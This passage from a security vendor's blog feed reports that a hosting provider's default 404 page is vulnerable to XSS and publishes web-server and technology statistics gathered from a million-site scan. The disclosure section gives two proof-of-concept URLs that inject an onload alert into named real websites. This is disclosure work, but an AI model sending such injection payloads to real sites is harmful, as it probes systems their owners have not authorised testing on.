<p>This page looked familiar to me and I remembered that I&#8217;ve read about it in a blog post from RSnake. The blog post was entitled <a href="http://ha.ckers.org/blog/20071230/11-internet-customers-vulnerable-to-xss/" target="_blank">1&amp;1 Internet Customers Vulnerable to XSS</a>. So, if your website was hosted by 1&amp;1 (another one of top five Internet domain name registrars) and you didn&#8217;t manually set your own custom 404 page, 1&amp;1 will gladly prepare one for you. The only problem is that this custom 404 page was/is vulnerable to XSS. This means that all the sites that have this custom 404 page are vulnerable to XSS.</p>
<p><img class="aligncenter size-medium wp-image-1216" title="1&amp;1_xss" src="http://www.acunetix.com/blog/wp-content/uploads/2010/01/11_xss-300x201.png" alt="" width="300" height="201" /></p>
<p>Here are two random sites hosted on 1&amp;1 that are affected by this vulnerability:</p>
<p>http://sammur.com/test.php%22onload=%22alert%281%29</p>
<p>http://googleceltic.com/test.php%22onload=%22alert%281%29</p>
<p>This vulnerability was reported on December 30th, 2007 and 1&amp;1 knew about it (see the comments from RSnake&#8217;s page). And still, 2+ years later, its customers are still vulnerable to XSS. Not because their own sites are vulnerable but because 1&amp;1 wants to make some easy money with Google ads and cannot even fix a simple XSS vulnerability.</p>
<p>If Google, Microsoft, Network Solutions, Tor, 1&amp;1 cannot implement proper security measures, then something is wrong.</p>
<p>Security is hard, too hard in my opinion.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/news/security-is-hard/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Statistics from the top 1,000,000 websites</title>
		<link>http://www.acunetix.com/blog/web-security-zone/articles/statistics-from-the-top-1000000-websites/</link>
		<comments>http://www.acunetix.com/blog/web-security-zone/articles/statistics-from-the-top-1000000-websites/#comments</comments>
		<pubDate>Tue, 12 Jan 2010 07:00:24 +0000</pubDate>
		<dc:creator>Bogdan Calin</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[alexa]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[asp.net]]></category>
		<category><![CDATA[iis]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[statistics]]></category>
		<category><![CDATA[top 1000000 websites]]></category>
		<category><![CDATA[web servers]]></category>
		<category><![CDATA[web technology]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=990</guid>
		<description><![CDATA[The next version of Acunetix Web Vulnerability Scanner (version 7), will contain a much more improved HTTP stack.   While testing, we wanted to test the new HTTP stack on as many sites as possible to ...]]></description>
			<content:encoded><![CDATA[<p>The next version of <a href="http://www.acunetix.com/vulnerability-scanner/" target="_self">Acunetix Web Vulnerability Scanner</a> (version 7), will contain a much more improved HTTP stack.   While testing, we wanted to test the new HTTP stack on as many sites as possible to make sure we didn’t introduce any bugs.</p>
<p>Alexa, a web information company, maintains a CSV file containing the <a href="http://www.alexa.com/topsites" target="_blank">top 1,000,000 sites</a> on the internet.  We used this database to test the new HTTP Stack.  While testing, we also thought that it might be useful to gather all the information and come up with some statistics. After all, who does not like statistics and graphs?</p>
<p>From this list, 951990 records were valid and we got a response. The other records were removed either because they were invalid (some entries from the Alexa list might be invalid), or because the hostname could not be resolved, or they were unresponsive during the testing phase. Also, some other entries were removed because there were multiple domains redirecting to the same domain that was already in the database.  These results were stored in a Microsoft SQL Server 2008 database.  In the database, we stored the complete HTTP headers and the body.  The information was split in several tables like headers, links, metas and responses, so to be queried more easily. We’ve also enabled Full-Text Search on the database. In the end, the database size was around 50Gb.</p>
<p><span id="more-990"></span></p>
<p><strong>Top Web Servers</strong></p>
<p>To start off with, I wanted to see which are the most popular web servers running the top 1m sites on the internet.  I’ve used the information returned in the ‘Server’ header to compute this information.  Not all sites do return a Server header, and as a matter of a fact, 11,100 (1.16 %) sites didn’t return a Server header.  This was quite surprising, as I was expecting a much higher percentage of websites which do not report the running web server version and make.</p>

<table id="wp-table-reloaded-id-1-no-1" class="wp-table-reloaded wp-table-reloaded-id-1">
<thead>
	<tr class="row-1 odd">
		<th class="column-1">Name</th><th class="column-2">Count</th><th class="column-3">Percentage</th>
	</tr>
</thead>
<tbody>
	<tr class="row-2 even">
		<td class="column-1">Apache</td><td class="column-2">627003</td><td class="column-3">68.31%</td>
	</tr>
	<tr class="row-3 odd">
		<td class="column-1">Microsoft-IIS</td><td class="column-2">185678</td><td class="column-3">20.23%</td>
	</tr>
	<tr class="row-4 even">
		<td class="column-1">nginx</td><td class="column-2">42515</td><td class="column-3">4.63%</td>
	</tr>
	<tr class="row-5 odd">
		<td class="column-1">Google Web Server</td><td class="column-2">25647</td><td class="column-3">2.79%</td>
	</tr>
	<tr class="row-6 even">
		<td class="column-1">LiteSpeed</td><td class="column-2">5981</td><td class="column-3">0.65%</td>
	</tr>
	<tr class="row-7 odd">
		<td class="column-1">lighttpd</td><td class="column-2">5790</td><td class="column-3">0.63%</td>
	</tr>
	<tr class="row-8 even">
		<td class="column-1">Apache-Coyote (mostly Tomcat)</td><td class="column-2">5350</td><td class="column-3">0.58%</td>
	</tr>
	<tr class="row-9 odd">
		<td class="column-1">Phusion Passenger</td><td class="column-2">5271</td><td class="column-3">0.57%</td>
	</tr>
	<tr class="row-10 even">
		<td class="column-1">YTS (Yahoo! Traffic Server)</td><td class="column-2">2662</td><td class="column-3">0.29%</td>
	</tr>
	<tr class="row-11 odd">
		<td class="column-1">IBM_HTTP_Server</td><td class="column-2">2298</td><td class="column-3">0.25%</td>
	</tr>
	<tr class="row-12 even">
		<td class="column-1">Zeus</td><td class="column-2">1883</td><td class="column-3">0.21%</td>
	</tr>
	<tr class="row-13 odd">
		<td class="column-1">Jetty</td><td class="column-2">1506</td><td class="column-3">0.16%</td>
	</tr>
	<tr class="row-14 even">
		<td class="column-1">Zope</td><td class="column-2">1161</td><td class="column-3">0.13%</td>
	</tr>
	<tr class="row-15 odd">
		<td class="column-1">Resin</td><td class="column-2">1045</td><td class="column-3">0.11%</td>
	</tr>
	<tr class="row-16 even">
		<td class="column-1">Mongrel</td><td class="column-2">852</td><td class="column-3">0.09%</td>
	</tr>
	<tr class="row-17 odd">
		<td class="column-1">Sun-ONE-Web-Server</td><td class="column-2">838</td><td class="column-3">0.09%</td>
	</tr>
	<tr class="row-18 even">
		<td class="column-1">Oracle-Application-Server</td><td class="column-2">815</td><td class="column-3">0.09%</td>
	</tr>
	<tr class="row-19 odd">
		<td class="column-1">Lotus-Domino</td><td class="column-2">795</td><td class="column-3">0.09%</td>
	</tr>
	<tr class="row-20 even">
		<td class="column-1">Netscape-Enterprise</td><td class="column-2">470</td><td class="column-3">0.05%</td>
	</tr>
	<tr class="row-21 odd">
		<td class="column-1">WebSphere Application Server</td><td class="column-2">140</td><td class="column-3">0.02%</td>
	</tr>
	<tr class="row-22 even">
		<td class="column-1">AOLserver</td><td class="column-2">130</td><td class="column-3">0.01%</td>
	</tr>
	<tr class="row-23 odd">
		<td class="column-1">Sun GlassFish Enterprise Server</td><td class="column-2">96</td><td class="column-3">0.01%</td>
	</tr>
</tbody>
</table>

<p>As you can see from the table above, 88.5 % of all web servers are Apache (first place) and IIS  (second place) combined together.</p>
<p>nginx web server is a distant third, with only 4.63%. This server is quickly gaining popularity.  I’ve seen it used a lot on high-traffic websites nowadays (typically used as a reverse proxy server).</p>
<p>Google Web Server placed fourth, with 2.79%.  I’ve combined GFE and GWS Server strings. Sites/blogs hosted on blogspot, are returning the GFE Server string while the Google sites are returning GWS.</p>
<p>Fifth place was LiteSpeed web server.</p>
<p>I’ve also created a <a href="http://www.wordle.net" target="_blank">Wordle</a> image to better represent the information. The image is not 100% accurate, since I had to lower the numbers for Apache &amp; IIS.  Otherwise the image would only contain those two web servers and the other names would be unreadable.</p>
<p style="text-align: center;"><a href="http://www.acunetix.com/blog/wp-content/uploads/2010/01/web_servers1.png"><img class="aligncenter size-full wp-image-992" title="web_servers" src="http://www.acunetix.com/blog/wp-content/uploads/2010/01/web_servers1.png" alt="" width="526" height="236" /></a></p>
<p><strong>Apache version distribution</strong></p>
<p>Next, I wanted to see how many sites are still using the old Apache version1.   Although there are still some websites running on Apache Version 1, most of them already switched to v2.  From Apache’s website it seems that Apache Version 1 was last updated on 2008-01-19. Same situation for Apache 2.0.x</p>

<table id="wp-table-reloaded-id-3-no-1" class="wp-table-reloaded wp-table-reloaded-id-3">
<thead>
	<tr class="row-1 odd">
		<th class="column-1">Name</th><th class="column-2">Count</th><th class="column-3">Percentage</th>
	</tr>
</thead>
<tbody>
	<tr class="row-2 even">
		<td class="column-1">Apache v2.x</td><td class="column-2">356162</td><td class="column-3">82.6%</td>
	</tr>
	<tr class="row-3 odd">
		<td class="column-1">Apache v1.x</td><td class="column-2">74521</td><td class="column-3">17.3%</td>
	</tr>
</tbody>
</table>

<p style="text-align: center;"><img class="size-full wp-image-1000  aligncenter" title="apache_distribution" src="http://www.acunetix.com/blog/wp-content/uploads/2010/01/apache_distribution.png" alt="" width="187" height="140" /></p>
<p><strong>Microsoft IIS version distribution</strong></p>
<p>Moving on to Microsoft web servers, Microsoft IIS version 6 is the most commonly used. This is the version which is shipped with Windows Server 2003. IIS Version 7 (the one shipped with Windows Server 2008 / or later) is starting to gain popularity as well, but pretty slowly.  Strangely enough, it seems there are still websites running on Microsoft-IIS version 4 (or are these fake Server headers? I remember that mod_security was configured at some point with SecServerSignature “Microsoft-IIS/4.0″).</p>

<table id="wp-table-reloaded-id-2-no-1" class="wp-table-reloaded wp-table-reloaded-id-2">
<thead>
	<tr class="row-1 odd">
		<th class="column-1">Name</th><th class="column-2">Count</th><th class="column-3">Percentage</th>
	</tr>
</thead>
<tbody>
	<tr class="row-2 even">
		<td class="column-1">Microsoft-IIS v6.x</td><td class="column-2">158087</td><td class="column-3">85.15%</td>
	</tr>
	<tr class="row-3 odd">
		<td class="column-1">Microsoft-IIS v7.x</td><td class="column-2">15683</td><td class="column-3">8.45%</td>
	</tr>
	<tr class="row-4 even">
		<td class="column-1">Microsoft-IIS v5.x</td><td class="column-2">11661</td><td class="column-3">6.28%</td>
	</tr>
	<tr class="row-5 odd">
		<td class="column-1">Microsoft-IIS v4.x</td><td class="column-2">216</td><td class="column-3">0.11%</td>
	</tr>
</tbody>
</table>

<p style="text-align: center;"><img class="size-full wp-image-998  aligncenter" title="iis_distribution" src="http://www.acunetix.com/blog/wp-content/uploads/2010/01/iis_distribution.png" alt="" width="199" height="156" /></p>
<p><strong>Unix vs Windows</strong></p>
<p>The next table shows Unix vs Windows distribution. To determine the number of Windows running computers, I’ve added the number of IIS web servers with the ones that return Win32 or Windows in the Server header.  For Unix it was more complicated, I had to add the servers returning ‘Unix’ with all the other Unix flavors like FreeBSD, Mac OS X/Darwin and with all the other popular Linux distributions. I’ve ended up with a SQL query like this:</p>
<blockquote>
<div id="_mcePaste">SELECT COUNT(value) cnt</div>
<div id="_mcePaste">FROM headers</div>
<div id="_mcePaste">WHERE name=&#8217;server&#8217; and</div>
<div id="_mcePaste">(</div>
<div id="_mcePaste">value like &#8216;%Unix%&#8217;</div>
<div id="_mcePaste">or value like &#8216;%Red Hat%&#8217;</div>
<div id="_mcePaste">or value like &#8216;%CentOS%&#8217;</div>
<div id="_mcePaste">or value like &#8216;%OVH%&#8217;</div>
<div id="_mcePaste">or value like &#8216;%Fedora%&#8217;</div>
<div id="_mcePaste">or value like &#8216;%SUSE%&#8217;</div>
<div id="_mcePaste">or value like &#8216;%Debian%&#8217;</div>
<div id="_mcePaste">or value like &#8216;%Turbolinux%&#8217;</div>
<div id="_mcePaste">or value like &#8216;%Ubuntu%&#8217;</div>
<div id="_mcePaste">or value like &#8216;%Mandriva%&#8217;</div>
<div id="_mcePaste">or value like &#8216;%Trustix%&#8217;</div>
<div id="_mcePaste">or value like &#8216;%Gentoo%&#8217;</div>
<div id="_mcePaste">or value like &#8216;%Slackware%&#8217;</div>
<div id="_mcePaste">or value like &#8216;%Linux%&#8217;</div>
<div id="_mcePaste">or value like &#8216;%SunOS%&#8217;</div>
<div id="_mcePaste">or value like &#8216;%FreeBSD%&#8217;</div>
<div id="_mcePaste">or value like &#8216;%Darwin%&#8217;</div>
<div id="_mcePaste">or value like &#8216;%OpenBSD%&#8217;</div>
<div id="_mcePaste">or value like &#8216;%Mac OS X%&#8217;</div>
<div id="_mcePaste">or value like &#8216;%OS/2%&#8217;</div>
<div id="_mcePaste">)</div>
</blockquote>
<div>Not all the sites do return the operating system in their Server header, but you can still see that Unix is leading on the server front, and by far, I may say. From all these Unknown operating systems, most of them are Unix systems returning ‘Apache’ in the Server header.</div>

<table id="wp-table-reloaded-id-4-no-1" class="wp-table-reloaded wp-table-reloaded-id-4">
<thead>
	<tr class="row-1 odd">
		<th class="column-1">Name</th><th class="column-2">Count</th><th class="column-3">Percentage</th>
	</tr>
</thead>
<tbody>
	<tr class="row-2 even">
		<td class="column-1">Unix</td><td class="column-2">384490</td><td class="column-3">40.38%</td>
	</tr>
	<tr class="row-3 odd">
		<td class="column-1">Windows</td><td class="column-2">192403</td><td class="column-3">20.21%</td>
	</tr>
	<tr class="row-4 even">
		<td class="column-1">Unknown</td><td class="column-2">375097</td><td class="column-3">39.40%</td>
	</tr>
</tbody>
</table>

<p style="text-align: center;"><img class="aligncenter" title="unix_windows_distribution" src="http://www.acunetix.com/blog/wp-content/uploads/2010/01/unix_windows_distribution.png" alt="" width="200" height="153" /></p>
<p><strong>Linux vs other operating systems</strong></p>
<p>Again, this is pretty hard to determine, since many operating systems are returning ‘Unix’ or don’t return anything else in their Server header. However, based on what I can count, Linux is a clear winner. FreeBSD is not that popular anymore.  A few years ago it used to be very popular on high-traffic websites. Linux is in a better position nowadays, especially since the 2.6 branch started.</p>

<table id="wp-table-reloaded-id-5-no-1" class="wp-table-reloaded wp-table-reloaded-id-5">
<thead>
	<tr class="row-1 odd">
		<th class="column-1">Name</th><th class="column-2">Count</th><th class="column-3">Percentage</th>
	</tr>
</thead>
<tbody>
	<tr class="row-2 even">
		<td class="column-1">Linux</td><td class="column-2">151277</td><td class="column-3">94.05%</td>
	</tr>
	<tr class="row-3 odd">
		<td class="column-1">FreeBSD</td><td class="column-2">7762</td><td class="column-3">4.82%</td>
	</tr>
	<tr class="row-4 even">
		<td class="column-1">SunOS</td><td class="column-2">1219</td><td class="column-3">0.75%</td>
	</tr>
	<tr class="row-5 odd">
		<td class="column-1">Darwin</td><td class="column-2">582</td><td class="column-3">0.36%</td>
	</tr>
</tbody>
</table>

<div style="text-align: center;"><span style="color: #0000ee; -webkit-text-decorations-in-effect: underline;"><img title="linux_vs_other_oses" src="http://www.acunetix.com/blog/wp-content/uploads/2010/01/linux_vs_other_oses1.png" alt="" width="310" height="120" /></span></div>
<div style="text-align: left;"><span style="color: #0000ee; -webkit-text-decorations-in-effect: underline;"><span style="color: #000000;"><strong>Linux distros</strong></span><br />
</span></div>
<div style="text-align: left;"><span style="color: #0000ee; -webkit-text-decorations-in-effect: underline;"> </span></div>
<p>Next, I wanted to calculate which are the most popular Linux distributions.  CentOS, Debian and Red Hat are pretty close to each other, with CentOS the current winner. CentOS is derived from Red Hat sources. CentOS is completely run by volunteers and unfortunately, a few months ago they had <a href="http://lists.centos.org/pipermail/centos/2009-July/079767.html" target="_blank">some problems</a>.  It seems that Lance Davis, holds sole control of the centos.org domain with no deputy. That’s pretty scary when CentOS is the most popular Linux distribution for web servers. Though since then, the problem was solved.</p>

<table id="wp-table-reloaded-id-6-no-1" class="wp-table-reloaded wp-table-reloaded-id-6">
<thead>
	<tr class="row-1 odd">
		<th class="column-1">Name</th><th class="column-2">Count</th><th class="column-3">Percentage</th>
	</tr>
</thead>
<tbody>
	<tr class="row-2 even">
		<td class="column-1">CentOS</td><td class="column-2">38257</td><td class="column-3">26.38%</td>
	</tr>
	<tr class="row-3 odd">
		<td class="column-1">Debian</td><td class="column-2">34168</td><td class="column-3">23.56%</td>
	</tr>
	<tr class="row-4 even">
		<td class="column-1">Red Hat</td><td class="column-2">33154</td><td class="column-3">22.86%</td>
	</tr>
	<tr class="row-5 odd">
		<td class="column-1">Fedora</td><td class="column-2">16283</td><td class="column-3">11.23%</td>
	</tr>
	<tr class="row-6 even">
		<td class="column-1">Ubuntu</td><td class="column-2">12789</td><td class="column-3">8.82%</td>
	</tr>
	<tr class="row-7 odd">
		<td class="column-1">SUSE</td><td class="column-2">9285</td><td class="column-3">6.40%</td>
	</tr>
	<tr class="row-8 even">
		<td class="column-1">Gentoo</td><td class="column-2">415</td><td class="column-3">0.28%</td>
	</tr>
	<tr class="row-9 odd">
		<td class="column-1">Turbolinux</td><td class="column-2">225</td><td class="column-3">0.15%</td>
	</tr>
	<tr class="row-10 even">
		<td class="column-1">Mandriva</td><td class="column-2">203</td><td class="column-3">0.14%</td>
	</tr>
	<tr class="row-11 odd">
		<td class="column-1">Trustix</td><td class="column-2">201</td><td class="column-3">0.13%</td>
	</tr>
</tbody>
</table>

<p>Another Wordle visualization for Linux distributions.</p>
<div style="text-align: center;"><span style="color: #0000ee; -webkit-text-decorations-in-effect: underline;"><a href="http://www.acunetix.com/blog/wp-content/uploads/2010/01/linux_distros.png"><img class="aligncenter size-full wp-image-1020" title="linux_distros" src="http://www.acunetix.com/blog/wp-content/uploads/2010/01/linux_distros.png" alt="" width="526" height="238" /></a><br />
</span></div>
<p><strong>Web Technologies distributions</strong></p>
<p>The next table is about web technologies distribution. PHP is the clear winner with ASP.NET following on a distant second place. Together PHP+ASP.NET are installed on the majority of the web servers which run the top 1M sites. This information was determined using the X-Powered-By header. Ruby on rails is gaining a lot of media attention nowadays, but in real life they only have around 0.48%.</p>

<table id="wp-table-reloaded-id-8-no-1" class="wp-table-reloaded wp-table-reloaded-id-8">
<thead>
	<tr class="row-1 odd">
		<th class="column-1">Name</th><th class="column-2">Count</th><th class="column-3">Percentage</th>
	</tr>
</thead>
<tbody>
	<tr class="row-2 even">
		<td class="column-1">PHP</td><td class="column-2">403188</td><td class="column-3">69.27%</td>
	</tr>
	<tr class="row-3 odd">
		<td class="column-1">ASP.NET</td><td class="column-2">170202</td><td class="column-3">29.24%</td>
	</tr>
	<tr class="row-4 even">
		<td class="column-1">Java (Servlet+JSP+JSF)</td><td class="column-2">5638</td><td class="column-3">0.96%</td>
	</tr>
	<tr class="row-5 odd">
		<td class="column-1">Ruby on Rails</td><td class="column-2">2798</td><td class="column-3">0.48%</td>
	</tr>
	<tr class="row-6 even">
		<td class="column-1">Python</td><td class="column-2">129</td><td class="column-3">0.022%</td>
	</tr>
	<tr class="row-7 odd">
		<td class="column-1">ColdFusion</td><td class="column-2">23</td><td class="column-3">0.003%</td>
	</tr>
</tbody>
</table>

<p style="text-align: center;"><a href="http://www.acunetix.com/blog/wp-content/uploads/2010/01/technologies_distribution.png"><img class="aligncenter size-full wp-image-1029" title="technologies_distribution" src="http://www.acunetix.com/blog/wp-content/uploads/2010/01/technologies_distribution.png" alt="" width="431" height="152" /></a></p>
<p><strong>PHP Version distribution</strong></p>
<p>What versions of PHP are mostly used? PHP version 5.2 is taking the first place, followed by version 4.4. No surprises here.</p>

<table id="wp-table-reloaded-id-7-no-1" class="wp-table-reloaded wp-table-reloaded-id-7">
<thead>
	<tr class="row-1 odd">
		<th class="column-1">Version</th><th class="column-2">Count</th><th class="column-3">Percentage</th>
	</tr>
</thead>
<tbody>
	<tr class="row-2 even">
		<td class="column-1">v5.2.x</td><td class="column-2">108152</td><td class="column-3">73.30%</td>
	</tr>
	<tr class="row-3 odd">
		<td class="column-1">v4.4.x</td><td class="column-2">26008</td><td class="column-3">17.62%</td>
	</tr>
	<tr class="row-4 even">
		<td class="column-1">v4.3.x</td><td class="column-2">7461</td><td class="column-3">5.05%</td>
	</tr>
	<tr class="row-5 odd">
		<td class="column-1">v5.1.x</td><td class="column-2">3690</td><td class="column-3">2.50%</td>
	</tr>
	<tr class="row-6 even">
		<td class="column-1">v5.3.x</td><td class="column-2">1084</td><td class="column-3">0.73%</td>
	</tr>
	<tr class="row-7 odd">
		<td class="column-1">v4.2.x</td><td class="column-2">627</td><td class="column-3">0.42%</td>
	</tr>
	<tr class="row-8 even">
		<td class="column-1">v4.1.x</td><td class="column-2">522</td><td class="column-3">0.35%</td>
	</tr>
</tbody>
</table>

<p style="text-align: center;"><a href="http://www.acunetix.com/blog/wp-content/uploads/2010/01/php_version_distribution.png"><img class="aligncenter size-full wp-image-1035" title="php_version_distribution" src="http://www.acunetix.com/blog/wp-content/uploads/2010/01/php_version_distribution.png" alt="" /></a></p>
<p><strong>ASP vs ASP.NET</strong></p>
<p>This one is quite interesting. There are more ASP websites than ASP.NET websites, and by far. This came as a big surprise to me. It seems that ASP.NET didn’t catch up that quickly as I, and many others were expecting.  ASP.NET is by far superior, both from the functionality and from a security point of view.  More people should make the switch. How was this information computed?  We’ve used the Set-Cookie header. ASP-NET is creating cookies named ASP.NET_SessionId= and ASP is creating cookies named ASPSESSIONID*.  I could be wrong about this.   If somebody has a better way to calculate ASP/ASP.NET distribution, please contact me.</p>

<table id="wp-table-reloaded-id-11-no-1" class="wp-table-reloaded wp-table-reloaded-id-11">
<thead>
	<tr class="row-1 odd">
		<th class="column-1">Name</th><th class="column-2">Count</th><th class="column-3">Percentage</th>
	</tr>
</thead>
<tbody>
	<tr class="row-2 even">
		<td class="column-1">ASP</td><td class="column-2">52591</td><td class="column-3">63.10%</td>
	</tr>
	<tr class="row-3 odd">
		<td class="column-1">ASP.NET</td><td class="column-2">30745</td><td class="column-3">36.89%</td>
	</tr>
</tbody>
</table>

<p style="text-align: center;"><a href="http://www.acunetix.com/blog/wp-content/uploads/2010/01/asp_vs_asp-net.png"><img class="aligncenter size-full wp-image-1040" title="asp_vs_asp-net" src="http://www.acunetix.com/blog/wp-content/uploads/2010/01/asp_vs_asp-net.png" alt="" width="250" height="115" /></a></p>
<p><strong>Top 50 TLD (top-level domains)<br />
</strong></p>
<p>The last statistic is about TLD (Top-level domain) distribution. .COM is the clear winner and it is not surprise to anybody. The surprise (at least for me) is that .de is on the third place, before .org. How come there are so many German websites on top 1Million?</p>

<table id="wp-table-reloaded-id-12-no-1" class="wp-table-reloaded wp-table-reloaded-id-12">
<thead>
	<tr class="row-1 odd">
		<th class="column-1">TLD</th><th class="column-2">Count</th><th class="column-3">Percentage</th>
	</tr>
</thead>
<tbody>
	<tr class="row-2 even">
		<td class="column-1">com</td><td class="column-2">533272</td><td class="column-3">56.21%</td>
	</tr>
	<tr class="row-3 odd">
		<td class="column-1">net</td><td class="column-2">62383</td><td class="column-3">6.58%</td>
	</tr>
	<tr class="row-4 even">
		<td class="column-1">de</td><td class="column-2">45834</td><td class="column-3">4.83%</td>
	</tr>
	<tr class="row-5 odd">
		<td class="column-1">org</td><td class="column-2">41349</td><td class="column-3">4.36%</td>
	</tr>
	<tr class="row-6 even">
		<td class="column-1">ru</td><td class="column-2">33414</td><td class="column-3">3.52%</td>
	</tr>
	<tr class="row-7 odd">
		<td class="column-1">cn</td><td class="column-2">21639</td><td class="column-3">2.28%</td>
	</tr>
	<tr class="row-8 even">
		<td class="column-1">uk</td><td class="column-2">18741</td><td class="column-3">1.98%</td>
	</tr>
	<tr class="row-9 odd">
		<td class="column-1">jp</td><td class="column-2">17111</td><td class="column-3">1.80%</td>
	</tr>
	<tr class="row-10 even">
		<td class="column-1">info</td><td class="column-2">14388</td><td class="column-3">1.52%</td>
	</tr>
	<tr class="row-11 odd">
		<td class="column-1">it</td><td class="column-2">11048</td><td class="column-3">1.16%</td>
	</tr>
	<tr class="row-12 even">
		<td class="column-1">nl</td><td class="column-2">8780</td><td class="column-3">0.93%</td>
	</tr>
	<tr class="row-13 odd">
		<td class="column-1">pl</td><td class="column-2">8335</td><td class="column-3">0.88%</td>
	</tr>
	<tr class="row-14 even">
		<td class="column-1">br</td><td class="column-2">7996</td><td class="column-3">0.84%</td>
	</tr>
	<tr class="row-15 odd">
		<td class="column-1">fr</td><td class="column-2">6790</td><td class="column-3">0.72%</td>
	</tr>
	<tr class="row-16 even">
		<td class="column-1">au</td><td class="column-2">6221</td><td class="column-3">0.66%</td>
	</tr>
	<tr class="row-17 odd">
		<td class="column-1">in</td><td class="column-2">4671</td><td class="column-3">0.49%</td>
	</tr>
	<tr class="row-18 even">
		<td class="column-1">es</td><td class="column-2">4359</td><td class="column-3">0.46%</td>
	</tr>
	<tr class="row-19 odd">
		<td class="column-1">se</td><td class="column-2">3713</td><td class="column-3">0.39%</td>
	</tr>
	<tr class="row-20 even">
		<td class="column-1">biz</td><td class="column-2">3572</td><td class="column-3">0.38%</td>
	</tr>
	<tr class="row-21 odd">
		<td class="column-1">cz</td><td class="column-2">3570</td><td class="column-3">0.38%</td>
	</tr>
	<tr class="row-22 even">
		<td class="column-1">ca</td><td class="column-2">3461</td><td class="column-3">0.36%</td>
	</tr>
	<tr class="row-23 odd">
		<td class="column-1">ro</td><td class="column-2">3411</td><td class="column-3">0.36%</td>
	</tr>
	<tr class="row-24 even">
		<td class="column-1">at</td><td class="column-2">3325</td><td class="column-3">0.35%</td>
	</tr>
	<tr class="row-25 odd">
		<td class="column-1">ua</td><td class="column-2">3295</td><td class="column-3">0.35%</td>
	</tr>
	<tr class="row-26 even">
		<td class="column-1">tv</td><td class="column-2">3274</td><td class="column-3">0.35%</td>
	</tr>
	<tr class="row-27 odd">
		<td class="column-1">gr</td><td class="column-2">3096</td><td class="column-3">0.33%</td>
	</tr>
	<tr class="row-28 even">
		<td class="column-1">ir</td><td class="column-2">3088</td><td class="column-3">0.33%</td>
	</tr>
	<tr class="row-29 odd">
		<td class="column-1">edu</td><td class="column-2">3065</td><td class="column-3">0.32%</td>
	</tr>
	<tr class="row-30 even">
		<td class="column-1">eu</td><td class="column-2">3061</td><td class="column-3">0.32%</td>
	</tr>
	<tr class="row-31 odd">
		<td class="column-1">za</td><td class="column-2">2917</td><td class="column-3">0.31%</td>
	</tr>
	<tr class="row-32 even">
		<td class="column-1">ch</td><td class="column-2">2804</td><td class="column-3">0.30%</td>
	</tr>
	<tr class="row-33 odd">
		<td class="column-1">dk</td><td class="column-2">2644</td><td class="column-3">0.28%</td>
	</tr>
	<tr class="row-34 even">
		<td class="column-1">cc</td><td class="column-2">2621</td><td class="column-3">0.28%</td>
	</tr>
	<tr class="row-35 odd">
		<td class="column-1">us</td><td class="column-2">2600</td><td class="column-3">0.27%</td>
	</tr>
	<tr class="row-36 even">
		<td class="column-1">hu</td><td class="column-2">2593</td><td class="column-3">0.27%</td>
	</tr>
	<tr class="row-37 odd">
		<td class="column-1">ar</td><td class="column-2">2168</td><td class="column-3">0.23%</td>
	</tr>
	<tr class="row-38 even">
		<td class="column-1">be</td><td class="column-2">2023</td><td class="column-3">0.21%</td>
	</tr>
	<tr class="row-39 odd">
		<td class="column-1">no</td><td class="column-2">1886</td><td class="column-3">0.20%</td>
	</tr>
	<tr class="row-40 even">
		<td class="column-1">tr</td><td class="column-2">1876</td><td class="column-3">0.20%</td>
	</tr>
	<tr class="row-41 odd">
		<td class="column-1">mx</td><td class="column-2">1726</td><td class="column-3">0.18%</td>
	</tr>
	<tr class="row-42 even">
		<td class="column-1">kr</td><td class="column-2">1640</td><td class="column-3">0.17%</td>
	</tr>
	<tr class="row-43 odd">
		<td class="column-1">tw</td><td class="column-2">1598</td><td class="column-3">0.17%</td>
	</tr>
	<tr class="row-44 even">
		<td class="column-1">fi</td><td class="column-2">1566</td><td class="column-3">0.17%</td>
	</tr>
	<tr class="row-45 odd">
		<td class="column-1">il</td><td class="column-2">1449</td><td class="column-3">0.15%</td>
	</tr>
	<tr class="row-46 even">
		<td class="column-1">vn</td><td class="column-2">1344</td><td class="column-3">0.14%</td>
	</tr>
	<tr class="row-47 odd">
		<td class="column-1">sk</td><td class="column-2">1230</td><td class="column-3">0.13%</td>
	</tr>
	<tr class="row-48 even">
		<td class="column-1">cl</td><td class="column-2">1121</td><td class="column-3">0.12%</td>
	</tr>
	<tr class="row-49 odd">
		<td class="column-1">ws</td><td class="column-2">1085</td><td class="column-3">0.11%</td>
	</tr>
	<tr class="row-50 even">
		<td class="column-1">nz</td><td class="column-2">1050</td><td class="column-3">0.11%</td>
	</tr>
	<tr class="row-51 odd">
		<td class="column-1">id</td><td class="column-2">1027</td><td class="column-3">0.11%</td>
	</tr>
</tbody>
</table>

<p style="text-align: center;"><a href="http://www.acunetix.com/blog/wp-content/uploads/2010/01/tld_top_50_distribution.png"><img class="aligncenter size-full wp-image-1044" title="tld_top_50_distribution" src="http://www.acunetix.com/blog/wp-content/uploads/2010/01/tld_top_50_distribution.png" alt="" width="520" height="158" /></a></p>
<p>I am planning of publishing other blog posts with more statistics from this database.  If you would like to see some particular statistics, or have some ideas, please post a comment.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/web-security-zone/articles/statistics-from-the-top-1000000-websites/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>AcuSensor, curl and Zen Cart</title>
		<link>http://www.acunetix.com/blog/news/acusensor-curl-and-zen-cart/</link>
		<comments>http://www.acunetix.com/blog/news/acusensor-curl-and-zen-cart/#comments</comments>
		<pubDate>Wed, 09 Dec 2009 12:10:05 +0000</pubDate>
		<dc:creator>Bogdan Calin</dc:creator>
				<category><![CDATA[news]]></category>
		<category><![CDATA[AcuSensor]]></category>
		<category><![CDATA[curl]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[php curl_exec]]></category>
		<category><![CDATA[vulnerability]]></category>
		<category><![CDATA[zen cart]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=931</guid>
		<description><![CDATA[Recently we&#8217;ve released a new build, build number 20091124. This build includes a new AcuSensor check named &#8220;curl_exec() url is controlled by user&#8221;. This new check will verify if the user can control the URL passed to curl_exec.
In ...]]></description>
